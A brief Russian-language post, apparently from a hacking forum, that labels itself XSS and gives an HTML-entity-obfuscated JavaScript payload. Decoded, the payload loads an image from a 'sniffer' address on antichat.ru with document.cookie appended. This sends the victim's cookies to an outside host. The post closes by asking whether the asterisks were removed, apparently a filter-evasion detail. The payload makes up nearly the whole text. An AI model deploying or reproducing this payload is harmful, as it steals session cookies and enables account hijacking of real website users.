Это XSS. в первом адрес снифера:
#58;&+#117;&+#114;&+#108;&+#40;&+
#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+
#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+
#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+
#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+
#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+
#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+
#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+
#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+
#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+
#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+
#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+
#103;&+#63;&+#34;+document.cookie

А ты звездочки убирал?